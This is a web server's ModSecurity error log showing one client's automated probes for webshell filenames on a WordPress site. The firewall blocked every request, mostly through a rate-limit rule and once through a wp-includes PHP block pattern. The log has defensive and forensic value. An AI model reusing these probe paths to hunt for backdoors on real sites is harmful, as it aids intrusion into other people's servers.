[Tue Mar 24 05:32:01.080548 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:6897] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bala.php"] [unique_id "acGxUfwkUqN4GJAI5oVxoAAAARM"]
[Tue Mar 24 05:32:02.024078 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:21595] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bala.php"] [unique_id "acGxUpdZesutm6dfYM_ekwAAAMw"]
[Tue Mar 24 05:32:03.259424 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:36491] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bala.php"] [unique_id "acGxU5dZesutm6dfYM_elAAAAMk"]
[Tue Mar 24 05:32:04.111228 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:23056] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beence.php"] [unique_id "acGxVJdZesutm6dfYM_elwAAAMA"]
[Tue Mar 24 05:32:04.913796 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:34207] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beence.php"] [unique_id "acGxVCa_-JXXD03-JNzEtAAAAJI"]
[Tue Mar 24 05:32:06.995274 2026] [:error] [pid 3031:tid 3084] [client 172.213.136.15:34759] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beence.php"] [unique_id "acGxVqJBKytnG47nuibY5QAAAEg"]
[Tue Mar 24 05:32:07.847593 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:6904] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beence.php"] [unique_id "acGxV5dZesutm6dfYM_emwAAAM8"]
[Tue Mar 24 05:32:08.987885 2026] [:error] [pid 3031:tid 3085] [client 172.213.136.15:23043] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2018.php"] [unique_id "acGxWKJBKytnG47nuibY5gAAAEk"]
[Tue Mar 24 05:32:10.000350 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:37281] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2018.php"] [unique_id "acGxWfwkUqN4GJAI5oVxuAAAARE"]
[Tue Mar 24 05:32:11.542454 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:28420] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2018.php"] [unique_id "acGxWya_-JXXD03-JNzExwAAAJQ"]
[Tue Mar 24 05:32:12.452894 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:6855] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2018.php"] [unique_id "acGxXPwkUqN4GJAI5oVxvwAAAQ4"]
[Tue Mar 24 05:32:13.860382 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:34766] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jatest3.php"] [unique_id "acGxXSa_-JXXD03-JNzEyQAAAIc"]
[Tue Mar 24 05:32:14.890027 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:36509] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jatest3.php"] [unique_id "acGxXvwkUqN4GJAI5oVxxgAAAQY"]
[Tue Mar 24 05:32:15.780283 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:26400] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jatest3.php"] [unique_id "acGxX_wkUqN4GJAI5oVxygAAARQ"]
[Tue Mar 24 05:32:17.168099 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:26419] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jatest3.php"] [unique_id "acGxYfwkUqN4GJAI5oVx1QAAARE"]
[Tue Mar 24 05:32:19.818114 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:26145] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.phP"] [unique_id "acGxYya_-JXXD03-JNzEzQAAAJg"]
[Tue Mar 24 05:32:20.722649 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:23460] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.phP"] [unique_id "acGxZAyOuILyynfcqfnz_QAAABM"]
[Tue Mar 24 05:32:22.426713 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:33684] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.phP"] [unique_id "acGxZvwkUqN4GJAI5oVx5wAAARU"]
[Tue Mar 24 05:32:23.653030 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:37267] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/baxa1.phP"] [unique_id "acGxZya_-JXXD03-JNzE1QAAAJI"]
[Tue Mar 24 05:32:24.333425 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:26167] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "acGxaPwkUqN4GJAI5oVx7wAAAQQ"]
[Tue Mar 24 05:32:25.644101 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:34787] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "acGxaZdZesutm6dfYM_evQAAANQ"]
[Tue Mar 24 05:32:28.078871 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:23047] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "acGxbKJBKytnG47nuibY9AAAAFE"]
[Tue Mar 24 05:32:29.182092 2026] [:error] [pid 3031:tid 3079] [client 172.213.136.15:34815] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "acGxbaJBKytnG47nuibY9gAAAEM"]
[Tue Mar 24 05:32:30.074302 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:34811] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "acGxbvwkUqN4GJAI5oVx-AAAAQs"]
[Tue Mar 24 05:32:31.267397 2026] [:error] [pid 3031:tid 3095] [client 172.213.136.15:23694] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "acGxb6JBKytnG47nuibY_QAAAFM"]
[Tue Mar 24 05:32:33.121567 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:6851] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "acGxcfwkUqN4GJAI5oVyAQAAAQ4"]
[Tue Mar 24 05:32:34.410942 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:32899] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "acGxcia_-JXXD03-JNzE4QAAAI8"]
[Tue Mar 24 05:32:35.550599 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:29743] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/783de.php"] [unique_id "acGxc5dZesutm6dfYM_eygAAAM4"]
[Tue Mar 24 05:32:38.032043 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:21580] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/783de.php"] [unique_id "acGxdgyOuILyynfcqfn0CwAAABM"]
[Tue Mar 24 05:32:39.683383 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:6609] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/783de.php"] [unique_id "acGxd_wkUqN4GJAI5oVyEQAAARA"]
[Tue Mar 24 05:32:40.564242 2026] [:error] [pid 3032:tid 3107] [client 172.213.136.15:33726] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/783de.php"] [unique_id "acGxeCa_-JXXD03-JNzE6AAAAIQ"]
[Tue Mar 24 05:32:41.859508 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:26375] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "acGxeSa_-JXXD03-JNzE6QAAAIk"]
[Tue Mar 24 05:32:43.032553 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:26121] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "acGxe_wkUqN4GJAI5oVyGQAAAQ8"]
[Tue Mar 24 05:32:43.997728 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:37249] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "acGxe6JBKytnG47nuibZGQAAAEI"]
[Tue Mar 24 05:32:44.826686 2026] [:error] [pid 3031:tid 3077] [client 172.213.136.15:6593] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "acGxfKJBKytnG47nuibZGwAAAEE"]
[Tue Mar 24 05:32:45.728466 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:28427] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acGxfZdZesutm6dfYM_e6QAAAMQ"]
[Tue Mar 24 05:32:46.839438 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:34177] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acGxfgyOuILyynfcqfn0FAAAABU"]
[Tue Mar 24 05:32:48.836582 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:23688] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acGxgJdZesutm6dfYM_e7gAAAMU"]
[Tue Mar 24 05:32:50.051247 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:37250] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/juuuu.php"] [unique_id "acGxgpdZesutm6dfYM_e8QAAAMI"]
[Tue Mar 24 05:32:51.738816 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:23715] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fjpeb.php"] [unique_id "acGxg5dZesutm6dfYM_e-QAAAM4"]
[Tue Mar 24 05:32:52.642492 2026] [:error] [pid 3032:tid 3111] [client 172.213.136.15:36505] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fjpeb.php"] [unique_id "acGxhCa_-JXXD03-JNzE9AAAAIg"]
[Tue Mar 24 05:32:53.597972 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:34189] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fjpeb.php"] [unique_id "acGxhfwkUqN4GJAI5oVyKQAAARU"]
[Tue Mar 24 05:33:04.044605 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:26761] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "acGxkJdZesutm6dfYM_fFQAAAMA"]
[Tue Mar 24 05:33:12.443811 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:37270] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acGxmPwkUqN4GJAI5oVyUgAAARc"]
[Tue Mar 24 05:33:13.384411 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:26138] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acGxmfwkUqN4GJAI5oVyVwAAARg"]
[Tue Mar 24 05:33:14.579109 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:34180] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acGxmpdZesutm6dfYM_fHgAAAM8"]
[Tue Mar 24 05:33:15.297140 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:23449] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "acGxm6JBKytnG47nuibZNQAAAEw"]
[Tue Mar 24 05:33:16.743006 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:26120] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qaez.php56"] [unique_id "acGxnJdZesutm6dfYM_fIQAAANc"]
[Tue Mar 24 05:33:17.753700 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:21147] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qaez.php56"] [unique_id "acGxnZdZesutm6dfYM_fIwAAANA"]
[Tue Mar 24 05:33:19.754382 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:29714] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qaez.php56"] [unique_id "acGxn_wkUqN4GJAI5oVyagAAARM"]
[Tue Mar 24 05:33:21.396177 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:34768] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qaez.php56"] [unique_id "acGxofwkUqN4GJAI5oVycAAAARY"]
[Tue Mar 24 05:33:22.765554 2026] [:error] [pid 3030:tid 3066] [client 172.213.136.15:34768] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alog.php"] [unique_id "acGxogyOuILyynfcqfn0LQAAABE"]
[Tue Mar 24 05:33:23.710602 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:28425] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alog.php"] [unique_id "acGxo_wkUqN4GJAI5oVydQAAAQ4"]
[Tue Mar 24 05:33:24.775349 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:35313] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alog.php"] [unique_id "acGxpPwkUqN4GJAI5oVyeAAAAQg"]
[Tue Mar 24 05:33:25.674106 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:21175] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alog.php"] [unique_id "acGxpaJBKytnG47nuibZPgAAAFA"]
[Tue Mar 24 05:33:26.676733 2026] [:error] [pid 3031:tid 3083] [client 172.213.136.15:36537] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cok.php"] [unique_id "acGxpqJBKytnG47nuibZPwAAAEc"]
